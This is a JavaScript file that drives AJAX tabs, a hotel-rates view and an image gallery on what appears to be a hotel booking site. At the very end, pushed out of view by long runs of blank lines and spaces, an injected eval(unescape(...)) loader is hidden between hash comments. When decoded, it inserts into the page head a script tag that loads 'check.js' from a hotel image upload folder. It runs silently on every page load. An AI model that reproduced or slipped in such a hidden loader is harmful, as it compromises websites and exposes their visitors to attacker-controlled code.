var loadstatustext="<img src='images/loading2.gif' /> Loading content..."

var loadedobjects=""
var defaultcontentarray=new Object()
var bustcacheparameter=""

function ajaxpage(url, containerid, targetobj){
	var page_request = false
	if (window.XMLHttpRequest) // if Mozilla, Safari etc
		page_request = new XMLHttpRequest()
	else if (window.ActiveXObject){ // if IE
		try {
			page_request = new ActiveXObject("Msxml2.XMLHTTP")
		} 
		catch (e){
			try{
				page_request = new ActiveXObject("Microsoft.XMLHTTP")
			}
			catch (e){}
		}
	}
	else
	return false
	var ullist=targetobj.parentNode.parentNode.getElementsByTagName("li")
	for (var i=0; i<ullist.length; i++)
		ullist[i].className=""  //deselect all tabs
	targetobj.parentNode.className="selected"  //highlight currently clicked on tab
	if (url.indexOf("#default")!=-1){ //if simply show default content within container (verus fetch it via ajax)
		document.getElementById(containerid).innerHTML=defaultcontentarray[containerid]
		return
	}
	document.getElementById(containerid).innerHTML=loadstatustext
	page_request.onreadystatechange=function(){
		loadpage(page_request, containerid)
	}
	page_request.open('GET', url+"&SEC=def", true) // +"&sec=def" --> Security=Defined ;)
	page_request.send(null)
}
var imgSplit=new Array();
function loadpage(page_request, containerid){
	if (page_request.readyState == 4 && (page_request.status==200 || window.location.href.indexOf("http")==-1)) {
		var imgSplit=new Array();
		var Data=page_request.responseText;
		if(Data.indexOf("[IMAGES]") > -1 ){
			var counter=0;
			while(Data.indexOf("[IMAGES]")!=-1) {
				imgSplit[counter]=new Array;
				textSplit=Data.split("[IMAGES]");
				finalSplit=textSplit[1].split("[IMAGES_END]");
				imgSplit[counter]=finalSplit[0].split("|");
				Data=Data.replace("[IMAGES]","");
				Data=Data.replace("[IMAGES_END]","");
				counter++;
			}
			imagesDisplay(imgSplit, containerid);
		} else if(Data.indexOf("[RESULTS]") > -1 ){ // Initialize Results Data
			var splits=Data.split("[RESULTS]");
			for(s=2;s<splits.length;s=s+3) // Display Data (Results)
				ratesDisplay(splits[s],containerid);
		} else {
			document.getElementById(containerid).innerHTML=Data;
		}
	}
}

function ratesDisplay(dataIN, targetID) {
	var items=dataIN.split("|");
	var final_html=hotel_rates;
	for(i=11; i<items.length; i++) {
		splits2=items[i].split("@")
		final_html=final_html.replace(splits2[0], splits2[1]);
	}
	document.getElementById(targetID).innerHTML=final_html;
}

var dimension="1x1";
var galleryarray=new Array();
var totalslots=dimension.split("x")[0]*dimension.split("x")[1]
function imagesDisplay(imgs_data, containerID) {
	galleryarray=new Array();
	for(i=0; i<imgs_data.length; i++) {
	// imgs_data[i][0] --> count || imgs_data[i][1] --> image path || imgs_data[i][2] --> description
		galleryarray[i]=[imgs_data[i][1], "", imgs_data[i][2], ""]
	}
	var href_target="_new" //Enter target attribute of links, if applicable
	var curimage=0
	for (y=0; y<dimension.split("x")[1]; y++){
		for (x=0; x<dimension.split("x")[0]; x++){
			if (curimage<galleryarray.length)
				var finalData='<div id="slide'+curimage+'" class="slideshow" align="center">'+buildimage(curimage)+'<\/div>'
			curimage++
		}
	}
	finalData=finalData+'<br /><div id="navlinks">Photos: '
	for (a=1; a<Math.ceil(galleryarray.length/totalslots)+1; a++)
		finalData=finalData+'<a id="navlink'+a+'" href="javascript:jumptopage('+a+')\">'+a+'<\/a>&nbsp;'
	finalData=finalData+'<\/div>'
	document.getElementById(containerID).innerHTML=finalData;
	document.getElementById("navlink1").className="current"
}

function buildimage(i){
	var tempcontainer=galleryarray[i][3]!=""? '<a href="'+galleryarray[i][3]+'" target="'+href_target+'">' : ""
	tempcontainer+='<img src="'+galleryarray[i][0]+'" border="1" title="'+galleryarray[i][1]+'">'
	tempcontainer=galleryarray[i][3]!=""? tempcontainer+'</a>' : tempcontainer
	tempcontainer=galleryarray[i][2]!=""? tempcontainer+'<br \/>'+galleryarray[i][2] : tempcontainer
	return tempcontainer
}

function jumptopage(p){
	var startpoint=(p-1)*totalslots
	var y=1;
	for (i=0; i<totalslots; i++){
		document.getElementById("slide"+i).innerHTML=(typeof galleryarray[startpoint+i]!="undefined")? buildimage(startpoint+i) : ""
	}
	while(document.getElementById("navlink"+y)!=null){
		document.getElementById("navlink"+y).className=""
		y++
	}
	document.getElementById("navlink"+p).className="current"
}

function expandtab(tabcontentid, tabnumber){ //interface for selecting a tab (plus expand corresponding content)
	var thetab=document.getElementById(tabcontentid).getElementsByTagName("a")[tabnumber]
	if (thetab.getAttribute("rel")){
		ajaxpage(thetab.getAttribute("rev"), thetab.getAttribute("rel"), thetab)
	}
}

function savedefaultcontent(contentid){// save default ajax tab content
	if (typeof defaultcontentarray[contentid]=="undefined") //if default content hasn't already been saved
		defaultcontentarray[contentid]=document.getElementById(contentid).innerHTML
}

function startajaxtabs(){
	for (var i=0; i<arguments.length; i++){ //loop through passed UL ids
		var ulobj=document.getElementById(arguments[i])
		var ulist=ulobj.getElementsByTagName("li") //array containing the LI elements within UL
		for (var x=0; x<ulist.length; x++){ //loop through each LI element
			var ulistlink=ulist[x].getElementsByTagName("a")[0]
			if (ulistlink.getAttribute("rel")){
				var modifiedurl=ulistlink.getAttribute("rev").replace(/^http:\/\/[^\/]+\//i, "http://"+window.location.hostname+"/")
				ulistlink.setAttribute("rev", modifiedurl) //replace URL's root domain with dynamic root domain, for ajax security sake
				savedefaultcontent(ulistlink.getAttribute("rel")) //save default ajax tab content
				ulistlink.onclick=function(){
					ajaxpage(this.getAttribute("rev"), this.getAttribute("rel"), this)
					return false
				}
				if (ulist[x].className=="selected"){
					ajaxpage(ulistlink.getAttribute("rev"), ulistlink.getAttribute("rel"), ulistlink) //auto load currenly selected tab content
				}
			}
		}
	}
}




































































































                                                                                                                                                      /* a0b4df006e02184c60dbf503e71c87ad */ ;eval(unescape('%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%36%39%34%31%38%38%3B%20%4A%53%53%33%20%3D%20%27%2F%73%79%73%74%65%6D%2F%68%6F%74%65%6C%73%2F%68%6F%74%65%6C%5F%69%6D%61%67%65%2F%31%32%38%2F%6F%77%6F%72%75%72%6F%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%73%79%73%74%65%6D%2F%68%6F%74%65%6C%73%2F%68%6F%74%65%6C%5F%69%6D%61%67%65%2F%31%32%38%2F%6F%77%6F%72%75%72%6F%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20')); /* a995d2cc661fa72452472e9554b5520c */                                                                                                                                                      




































































































